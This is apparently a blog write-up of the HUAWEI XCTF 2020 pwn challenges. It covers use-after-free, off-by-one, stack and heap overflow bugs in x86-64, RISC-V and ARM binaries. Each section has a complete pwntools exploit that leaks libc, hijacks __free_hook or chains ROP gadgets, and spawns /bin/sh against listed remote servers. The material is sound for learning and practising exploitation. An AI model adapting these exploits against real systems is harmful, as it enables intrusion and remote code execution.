HUAWEI XCTF 2020 PWN WRITE UP

First Post:

Last Update:

Word Count:
4.1k

Read Time:
25 min

HUAWEI XCTF 2020 PWN WRITE UP

HUAWEI XCTF 2020 First

CPP

checksec

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

Use the cutter decompiler to analize this program

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
undefined8 main(void)
{
int64_t *piVar1;
int64_t iVar2;
undefined *arg1;
undefined *puVar3;
int64_t in_FS_OFFSET;
uint64_t uStack40;
int64_t iStack32;

iStack32 = *(int64_t *)(in_FS_OFFSET + 0x28);
setvbuf(_reloc.stdin, 0, 2, 0);
setvbuf(_reloc.stdout, 0, 2, 0);
setvbuf(_reloc.stderr, 0, 2, 0);
uStack40 = 0;
while( true ) {
while( true ) {

std::basic_ostream<char, std::char_traits<char> >& std::__ostream_insert<char, std::char_traits<char> >(std::basic_ostream<char, std::char_traits<char> >&, char const*, long)
(reloc.std::cout, 0x2004, 2);
uStack40 = 0x539;
std::istream& std::istream::_M_extract<unsigned long>(unsigned long&)(reloc.std::cin, &uStack40);
if (uStack40 != 0) break;
arg1 = (undefined *)operator new[](unsigned long)(8);
puVar3 = arg1;
do {
*puVar3 = 0;
puVar3 = puVar3 + 1;
} while (puVar3 != arg1 + 8);

std::basic_ostream<char, std::char_traits<char> >& std::operator<< <std::char_traits<char> >(std::basic_ostream<char, std::char_traits<char> >&, char const*)
(reloc.std::cout, 0x2004);
fcn.000012c9((int64_t)arg1, 8);

std::basic_ostream<char, std::char_traits<char> >& std::operator<< <std::char_traits<char> >(std::basic_ostream<char, std::char_traits<char> >&, char const*)
(reloc.std::cout, 0x2004);
std::istream& std::istream::_M_extract<unsigned long>(unsigned long&)(reloc.std::cin, &uStack40);
if (uStack40 < 0x100) {
piVar1 = (int64_t *)(uStack40 * 8 + 0x42e0);
iVar2 = *piVar1;
*piVar1 = (int64_t)arg1;
if (iVar2 != 0) {
operator delete[](void*)();
}
} else {
operator delete[](void*)(arg1);
}
}
if (uStack40 != 1) break;

std::basic_ostream<char, std::char_traits<char> >& std::operator<< <std::char_traits<char> >(std::basic_ostream<char, std::char_traits<char> >&, char const*)
(reloc.std::cout, 0x2004);
std::istream& std::istream::_M_extract<unsigned long>(unsigned long&)(reloc.std::cin, &uStack40);
if (uStack40 < 0x100) {
piVar1 = (int64_t *)(uStack40 * 8 + 0x42e0);
iVar2 = *piVar1;
*piVar1 = 0;
if (iVar2 != 0) {
operator delete[](void*)(iVar2);
puts(iVar2);

std::basic_ostream<char, std::char_traits<char> >& std::operator<< <std::char_traits<char> >(std::basic_ostream<char, std::char_traits<char> >&, char const*)
(reloc.std::cout, 0x2004);
fcn.000012c9(iVar2, 8);
}
}
}
if (iStack32 == *(int64_t *)(in_FS_OFFSET + 0x28)) {
return 0;
}
// WARNING: Subroutine does not return
__stack_chk_fail();
}

It’s easy to discover the vulnerability is uaf

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
#!/usr/bin/env python3
#-*- coding:utf-8 -*-
# Author: i0gan
from pwn import *
import os
r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')

context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']

elf_path = 'chall'
#libc_path = '/glibc/2.23/64/lib/libc.so.6'

# remote server ip and port
server_ip = "124.70.12.210"
server_port = 10002

# if local debug
LOCAL = 0
LIBC = 1
#--------------------------func-----------------------------
def db():
if(LOCAL):
gdb.attach(io)

def fn1(d, idx):
sla('>', '0')
sla('>', d)
sla('>', str(idx))

def fn2(idx, d):
sla('>', '1')
sla('>', str(idx))
sla('>', d)

#--------------------------exploit--------------------------
def exploit():
li('exploit...')
# leak heap
fn1('123', 0x11)
fn1('123', 0x12)

fn2(0x11, 'AAA')

sla('>', '1')
sla('>', str(0x12))
leak = u64(ru('\x0a')[-6:].ljust(8, b'\x00'))
heap_base = leak - 0x11eb0
heap = leak
li('leak: ' + hex(leak))
#li('heap: ' + hex(heap))
sla('>', '')

for i in range(0x30):
fn1('', 0x10 + i)

fn2(0x10, 'BBBB')
fn2(0x12, p64(heap + 0x58)[0:7])

fn1('sh\x00', 0)
fn1(p64(0x20 * 0x25 + 1)[0:7], 1)

sla('>', '1')
sla('>', str(0x13))
leak = u64(ru('\x7f')[-5:] + b'\x7f\x00\x00')
libc_base = leak - libc.sym['__malloc_hook'] - 96 - 0x10
__free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
#one_gadget = libc_base +
li('leak: ' + hex(leak))
li('libc_base: ' + hex(libc_base))
sla('>', '')

fn2(0x20, 'BBBB')
fn2(0x21, p64(__free_hook)[0:7])

fn1('', 2)

db()
fn1(p64(system), 3)

def finish():
ia()
c()
#--------------------------main-----------------------------
if __name__ == '__main__':
if LOCAL:
elf = ELF(elf_path)
libc_path = '/lib/x86_64-linux-gnu/libc.so.6'
if LIBC:
libc = ELF(libc_path)
io = elf.process(env = {"LD_PRELOAD" : libc_path} )
else:
io = elf.process()
else:
libc_path = './libc.so.6'
elf = ELF(elf_path)
io = remote(server_ip, server_port)
if LIBC:
libc = ELF(libc_path)
exploit()
finish()

HUAWEI XCTF 2020 Second

honorbook

I’m not good at using gdb to debug this riscv architecture. Because this is the first time I’ve met this architecture. So I use c language to write a same function as this challenge, compile as amd64 arch to debug then analize the layout of heap. The vulnerability is off by one

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
#include <cstdio>
#include <iostream>
#include <cstdlib>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>

void func();
void menu();
void init();
void show();
void del();
void add();
void modify();
char *plist[30];
char *pname[30];

void init() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
}

void menu() {
std::cout << "code:";
}

void func() {
int a = 0;
while(1) {
menu();
std::cin >> a;
switch(a) {
case 1: add(); break;
case 2: del(); break;
case 3: show(); break;
case 4: modify(); break;
default:
puts("code err:");
continue;
}
}
}

void add() {
size_t size = 0xe8;
int idx;
std::cout << "idx:";
std::cin >> idx;
pname[idx] = new char[0x20];
std::cout << "name:" << std::endl;
read(0, pname[idx], 0x18);

plist[idx] = (char*)malloc(size);
std::cout << "msg:";
for(int i = 0; i <= size; ++i) {
read(0, plist[idx] + i, 1);
if(*(plist[idx] + i) == '\n')
break;
}
}

void del() {
int idx;
std::cout << "idx:";
std::cin >> idx;
if(plist[idx] == nullptr) {
return ;
}
free(plist[idx]);

delete[] pname[idx];
pname[idx] = nullptr;
plist[idx] = nullptr;
}

void show() {
int idx;
std::cout << "idx:";
std::cin >> idx;
if(plist[idx] == nullptr) {
std::cout << "err" << std::endl;
return ;
}
std::cout << "msg:" << plist[idx] << std::endl;
}

void modify() {
int idx;
std::cout << "idx:";
std::cin >> idx;
if(plist[idx] == nullptr) {
return ;
}
std::cout << "msg:";
size_t size = 0xf8;
for(int i = 0; i < size; ++i) {
read(0, plist[idx] + i, 1);
if(*(plist[idx] + i) == '\n')
break;
}
}

int main(int, char**) {
init();
func();
return 0;
}

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
#!/usr/bin/env python
#-*- coding:utf-8 -*-
# Author: i0gan
from pwn import *
import os
r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')

context.log_level='debug'
#context.arch='em_riscv-64-little'
context.terminal = ['tmux', 'splitw', '-h']

elf_path = './honorbook'
#libc_path = '/glibc/2.23/64/lib/libc.so.6'
libc_path = 'libs/lib/libc.so.6'

# remote server ip and port
server_ip = "121.36.192.114"
server_port = 9999

# if local debug
LOCAL = 1
LIBC = 1
#--------------------------func-----------------------------
def db():
if(LOCAL):
gdb.attach(io)

def ad(idx, n, d):
sla(':', '1')
sla(':', str(idx))
sa(':', n) # max 0x18
sa(':', d) # max 0xE9

def rm(idx):
sla(':', '2')
sla(':', str(idx))

def dp(idx):
sla(':', '3')
sla(':', str(idx))

def md(idx, d):
sla(':', '4')
sla(':', str(idx))
sa(':', d) # max 0xE9

#--------------------------exploit--------------------------
def exploit():
li('exploit...')
# name -> size == 0x30
# body -> size == 0x100

#ad(0, 'A' * 0x18, 'D' * 0xE9)
# leak libc

for i in range(8):
ad(i, 'A', '\n')

for i in range(8):
rm(7 - i)

for i in range(7):
ad(i, 'A', '\n')
ad(7, 'A', 'AAAAAAA\n')
dp(7)

ru('AA\n')
#libc.sym['__malloc_hook']
leak = u64(ru('\n').ljust(8, b'\x00'))
libc_base = 0x4000000000 + leak - libc.sym['__malloc_hook'] - 88 - 0x10

system = libc_base + libc.sym['system']
__free_hook = libc_base + libc.sym['__free_hook']

rm(2)
rm(0)
ad(0, 'A', 'A' * 0xe8 + '\xf1')
rm(1)
p = b'B' * 0x20
p += p64(0) + p64(0xf1)
p += p64(__free_hook) + p64(0)
p += b'\n'
ad(8, 'A', p)

li('leak: ' + hex(leak))
li('libc_base: ' + hex(libc_base))
li('free_hook: ' + hex(__free_hook))
li('system: ' + hex(system))

ad(9, '/bin/sh\x00', '/bin/sh\x00\n')
ad(10, 'A', p64(system) + b'\n')
rm(9)


def finish():
ia()
c()
#--------------------------main-----------------------------
if __name__ == '__main__':
if LOCAL:
if LIBC:
libc = ELF(libc_path)
#io = elf.process(env = {"LD_PRELOAD" : libc_path} )
io = process(['./qemu-riscv64', '-L' , './libs', elf_path])
#io = process(['/usr/bin/qemu-riscv64-static', '-g', '1235', '-L' , './libs', elf_path])
else:
#io = elf.process()
#io = process(['./qemu-riscv64', '-L' , './libs', elf_path])
io = process(['/usr/bin/qemu-riscv64-static', '-g', '1234', '-L' , './libs', elf_path])
else:
io = remote(server_ip, server_port)
if LIBC:
libc = ELF(libc_path)
exploit()
finish()

HUAWEI XCTF 2020 Third

shell

checksec

1
2
3
4
5
6
Arch:     em_riscv-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x10000)
RWX: Has RWX segments

It’s a riscv-64 arch, We have to use latest ghidra decompilier to annalize this program, version as: 9.21

vul

In echo function, there is a stackoverflow vulnerability.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
void echo(longlong param_1)
{
longlong lVar1;
char **ppcVar2;
char *pcVar3;
char *__s2;
int iVar4;
ssize_t sVar5;
undefined4 extraout_var;
undefined4 extraout_var_00;
undefined4 extraout_var_01;
size_t __nbytes;
longlong lVar6;
undefined auStack320 [264];

lVar1 = *(longlong *)(param_1 + 8);
pcVar3 = *(char **)(lVar1 + 8);
iVar4 = strcmp(pcVar3,">");
if (CONCAT44(extraout_var,iVar4) == 0) {
lVar6 = 0;
}
else {
iVar4 = strcmp(pcVar3,">>");
lVar6 = 1;
if (CONCAT44(extraout_var_00,iVar4) != 0) {
/* WARNING: Subroutine does not return*/
error();
}
}
pcVar3 = *(char **)(lVar1 + 0x10);
ppcVar2 = (char **)&gp0xfffffffffffffa60;
while ((__s2 = *ppcVar2, __s2 == (char *)0x0 ||
(iVar4 = strcmp(pcVar3,__s2),CONCAT44(extraout_var_01,iVar4) != 0))) {
ppcVar2 = ppcVar2 + 1;
if (ppcVar2 == (char **)&gp0xfffffffffffffbe0) {
__nbytes = 0x200;
LAB_00011516:
sVar5 = read(0,auStack320,__nbytes); // vul
FUN_000113e2(*(char **)(*(longlong *)(param_1 +8) + 0x10),auStack320,(longlong)sVar5,lVar6);
return;
}
}
__nbytes = *(size_t *)(__s2 + 0x18);
goto LAB_00011516;
}

Use unsorted bin leak to leak libc address then use return-to-csu method to get shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
                     LAB_0001181a                                    XREF[1]:     00011828(j)  
0001181a 1c 60 c.ld a5,0x0(s0=>->_INIT_0) = 10F84h
= 11056h
0001181c 56 86 c.mv a2,s5
0001181e d2 85 c.mv a1,s4
00011820 4e 85 c.mv a0,s3
00011822 85 04 c.addi s1,0x1
00011824 82 97 c.jalr a5=>_INIT_0 undefined _INIT_1(void)
undefined _INIT_0(void)
00011826 21 04 c.addi s0,0x8
00011828 e3 19 99 fe bne s2,s1,LAB_0001181a
LAB_0001182c XREF[1]: 0001180e(j)
0001182c e2 70 c.ldsp ra,0x38(sp)
0001182e 42 74 c.ldsp s0,0x30(sp)
00011830 a2 74 c.ldsp s1,0x28(sp)
00011832 02 79 c.ldsp s2,0x20(sp)
00011834 e2 69 c.ldsp s3,0x18(sp)
00011836 42 6a c.ldsp s4,0x10(sp)
00011838 a2 6a c.ldsp s5,0x8(sp)
0001183a 21 61 c.addi16sp sp,0x40
0001183c 82 80 ret

gdb script

1
2
3
4
5
#! /bin/sh
gdb-multiarch --nh \
-ex "add-symbol-file ./harmoshell" \
-ex "set architecture riscv:rv64" \
-ex "target remote 127.0.0.1:1234"

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
#!/usr/bin/env python
#-*- coding:utf-8 -*-
# Author: i0gan
from pwn import *
import os
r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

elf_path = './harmoshell'
#libc_path = '/glibc/2.23/64/lib/libc.so.6'
libc_path = 'libs/lib/libc.so.6'

# remote server ip and port
server_ip = "121.36.192.114"
server_port = 9999

# if local debug
LOCAL = 1
LIBC = 1
#--------------------------func-----------------------------
def db():
if(LOCAL):
gdb.attach(io)

def touch(n):
sla('$', b'touch ' + n)

def rm(n):
sla('$', b'rm ' + n)

def ls():
sla('$', 'ls')

def cat(n):
sla('$', 'cat ' + n)

def echo(t, n, d):
sla('$', 'echo ' + t + ' ' + n)
s(d)

def quit():
sla('$', 'exit')

#--------------------------exploit--------------------------
def exploit():
li('exploit...')
# leak libc
for i in range(9):
touch(str(i).encode())

for i in range(8):
rm(str(7 - i).encode())

for i in range(7):
touch(str(i).encode())

touch(b'7')
echo('>>', '7', 'A' * 7 + '&')
cat('7')
ru('&')
leak = u64(r(3).ljust(8 , b'\x00'))
libc_base = 0x0000004000000000 + leak - libc.sym['__malloc_hook'] - 88 - 0x10
li('leak: ' + hex(leak))
li('libc_base: ' + hex(libc_base))

touch(b'debug')
csu_c = 0x0001181a
csu_i = 0x0001182c
system = libc_base + libc.sym['system']
bin_sh = libc_base + 0xed4b0
li('system: ' + hex(system))
p = b'\x00' * 0x138
#p += p64(system)
#p += p64(bin_sh)

# modify a0 arg
p += p64(csu_i)
p += p64(0) # null
p += p64(8) # s5 -> a2
p += p64(elf.got['read'] + 8) # s4 -> a1
p += p64(0) # s3 -> a0
p += p64(1) # s2 -> bypass jump
p += p64(0) # s1 -> bypass jump
p += p64(elf.got['read']) # s0 -> call
p += p64(csu_c)

p += p64(0)
#p += p64(0)
p += p64(1) # s5 -> a2
p += p64(2) # s4 -> a1
p += p64(bin_sh) # s3 -> a0
p += p64(1) # s2 -> bypass jump
p += p64(0) # s1 -> bypass jump
p += p64(elf.got['read'] + 8) # call our func
p += p64(csu_c)

echo('>', '9', p)
s(p64(system))

def finish():
ia()
c()
#--------------------------main-----------------------------
if __name__ == '__main__':
if LOCAL:
elf = ELF('./harmoshell')
if LIBC:
libc = ELF(libc_path)
io = process(['./qemu-riscv64', '-L' , './libs', elf_path])
#io = process(['./qemu-riscv64', '-g', '1234', '-L' , './libs', elf_path])
else:
io = process(['./qemu-riscv64', '-L' , './libs', elf_path])
#io = process(['./qemu-riscv64', '-g', '1234', '-L' , './libs', elf_path])
else:
io = remote(server_ip, server_port)
if LIBC:
libc = ELF(libc_path)
exploit()
finish()

shell2

checksec

1
2
3
4
5
6
Arch:     em_riscv-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x10000)
RWX: Has RWX segments

vul

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
void echo(longlong param_1)

{
longlong lVar1;
int iVar2;
ssize_t sVar3;
undefined4 extraout_var;
undefined4 extraout_var_00;
size_t __nbytes;
char *__s1;
undefined8 uVar4;
undefined auStack288 [256];

lVar1 = *(longlong *)(param_1 + 8);
__s1 = *(char **)(lVar1 + 8);
iVar2 = strcmp(__s1,">");
if (CONCAT44(extraout_var,iVar2) == 0) {
uVar4 = 0;
}
else {
iVar2 = strcmp(__s1,">>");
uVar4 = 1;
if (CONCAT44(extraout_var_00,iVar2) != 0) {
/* WARNING: Subroutine does not return*/
FUN_000113ee();
}
}
lVar1 = FUN_000110bc(*(undefined8 *)(lVar1 +0x10));
__nbytes = 0x100;
if (-1 < lVar1) {
__nbytes = *(size_t *)(*(longlong*)(&gp0xfffffffffffffa60 + lVar1 * 8) + 0x18);
}
sVar3 = read(0,auStack288,__nbytes);
FUN_00011384(*(undefined8 *)(*(longlong*)(param_1 + 8) +0x10),auStack288,(longlong)sVar3,uVar4);
return;
}

The vulnerability is heap overflow. we can use echo >> nmae to realize it

gdb script

1
2
3
4
5
#! /bin/sh
gdb-multiarch --nh \
-ex "add-symbol-file ./harmoshell2" \
-ex "set architecture riscv:rv64" \
-ex "target remote 127.0.0.1:1234"

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
#!/usr/bin/env python
#-*- coding:utf-8 -*-
# Author: i0gan
from pwn import *
import os
r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

elf_path = './harmoshell2'
#libc_path = '/glibc/2.23/64/lib/libc.so.6'
libc_path = 'libs/lib/libc.so.6'

# remote server ip and port
server_ip = "121.36.192.114"
server_port = 9999

# if local debug
LOCAL = 1
LIBC = 1
#--------------------------func-----------------------------
def db():
if(LOCAL):
gdb.attach(io)

def touch(n):
sla('$', b'touch ' + n)

def rm(n):
sla('$', b'rm ' + n)

def ls():
sla('$', 'ls')

def cat(n):
sla('$', 'cat ' + n)

def echo(t, n, d):
sla('$', 'echo ' + t + ' ' + n)
s(d)

def quit():
sla('$', 'exit')

#--------------------------exploit--------------------------
def exploit():
li('exploit...')
# leak libc
for i in range(9):
touch(str(i).encode())

for i in range(8):
rm(str(7 - i).encode())

for i in range(7):
touch(str(i).encode())

touch(b'7')
echo('>>', '7', 'A' * 7 + '&')
cat('7')
ru('&')
leak = u64(r(3).ljust(8 , b'\x00'))
libc_base = 0x0000004000000000 + leak - libc.sym['__malloc_hook'] - 88 - 0x10
li('leak: ' + hex(leak))
li('libc_base: ' + hex(libc_base))

touch(b'debug')
csu_c = 0x0001181a
csu_i = 0x0001182c
system = libc_base + libc.sym['system']
bin_sh = libc_base + 0xed4b0
free_hook = libc_base + libc.sym['__free_hook']
li('system: ' + hex(system))
#rm(b'8')

touch(b'a')
touch(b'b')
echo('>', 'a', '/bin/sh\x00'.ljust(0x100, '\x00'))
#echo('>', 'b', 'B' * 0x100)
p = p64(0) + p64(0x31)
p += b'b'.ljust(0x10, b'\x00')
p += p64(free_hook) + p64(0x100)
echo('>>', 'a', p) # heap overflow
li('__free_hook: ' + hex(free_hook))
echo('>', 'b', p64(system))
rm(b'a')

#touch(b'debug')

def finish():
ia()
c()
#--------------------------main-----------------------------
if __name__ == '__main__':
if LOCAL:
elf = ELF(elf_path)
if LIBC:
libc = ELF(libc_path)
io = process(['./qemu-riscv64', '-L' , './libs', elf_path])
#io = process(['./qemu-riscv64', '-g', '1234', '-L' , './libs', elf_path])
else:
io = process(['./qemu-riscv64', '-L' , './libs', elf_path])
#io = process(['./qemu-riscv64', '-g', '1234', '-L' , './libs', elf_path])
else:
io = remote(server_ip, server_port)
if LIBC:
libc = ELF(libc_path)
exploit()
finish()

pwnit

checksec

1
2
3
4
5
Arch:     arm-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x10000)

vul

1
2
3
4
5
6
7
8
9
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[260]; // [sp+0h] [bp-104h] BYREF

setvbuf((FILE *)stdout, 0, 2, 0);
printf("input: ");
read(0, buf, 0x300u);
return 0;
}

It’s easy to found the vul. use arm gadget to exploit it! so we must leak libc before modify something

Use print print.got table to leak

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
main = 0x000104A0
#gadget_2 = 0x000104F8 # MOV R0, R3;SUB SP, R11, #4; POP {R11,PC}
gadget_1 = 0x00010348 # pop {r3, pc}
gadget_2 = 0x000104D8 # printf
gadget_3 = 0x00010500 # pop {R11,PC}
gadget_4 = 0x000104F8
p = b'A' * 0x104
p += p32(gadget_1)
p += p32(elf.got['printf'])
p += p32(gadget_3)
p += p32(1) # r11
#p += p32(elf.plt['printf'])
p += p32(gadget_2)
#li('ru')
sla('input:', p)

So we can leak libc address, but we found that the address not change by every attack, so the aslr protector is off

Next attack, we just use modifying r0 regiseter gadget in libc to create a system(“/bin/sh”) rop chain to get shell

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
#!/usr/bin/env python
#-*- coding:utf-8 -*-
# Author: i0gan
from pwn import *
import os
r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')

context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']

elf_path = './bin'
#libc_path = '/glibc/2.23/64/lib/libc.so.6'
libc_path = './libc-2.31.so'

# remote server ip and port
server_ip = "139.159.210.220"
server_port = 9999

# if local debug
LOCAL = 0
LIBC = 1
#--------------------------func-----------------------------
def db():
if(LOCAL):
gdb.attach(io)

#--------------------------exploit--------------------------
def exploit():
li('exploit...')
main = 0x000104A0
#gadget_2 = 0x000104F8 # MOV R0, R3;SUB SP, R11, #4; POP {R11,PC}
gadget_1 = 0x00010348 # pop {r3, pc}
gadget_2 = 0x000104D8 # printf
gadget_3 = 0x00010500 # pop {R11,PC}
gadget_4 = 0x000104F8
libc_base = 0xff6db39c - libc.sym['printf']
system = libc_base + libc.sym['system']
bin_sh = libc_base + 0xfe861
gadget = libc_base + 0x0006beec # pop {r0, r4, pc}
li('libc_base: ' + hex(libc_base))
bss = 0x00020F08
'''
# leak
p = b'A' * 0x104
p += p32(gadget_1)
p += p32(elf.got['printf'])
p += p32(gadget_3)
p += p32(1) # r11
#p += p32(elf.plt['printf'])
p += p32(gadget_2)
#li('ru')
sla('input:', p)
'''
p = b'A' * 0x100
p += p32(bss + 0x100) # r11
p += p32(gadget)
p += p32(bin_sh)
p += p32(bin_sh)
p += p32(system)
sla('input:', p)

def finish():
ia()
c()
#--------------------------main-----------------------------
if __name__ == '__main__':
if LOCAL:
elf = ELF(elf_path)
if LIBC:
libc = ELF(libc_path)
io = elf.process(env = {"LD_PRELOAD" : libc_path} )
else:
io = elf.process()
else:
elf = ELF(elf_path)
io = remote(server_ip, server_port)
if LIBC:
libc = ELF(libc_path)
exploit()
finish()

打赏点小钱
支付宝 | Alipay
微信 | WeChat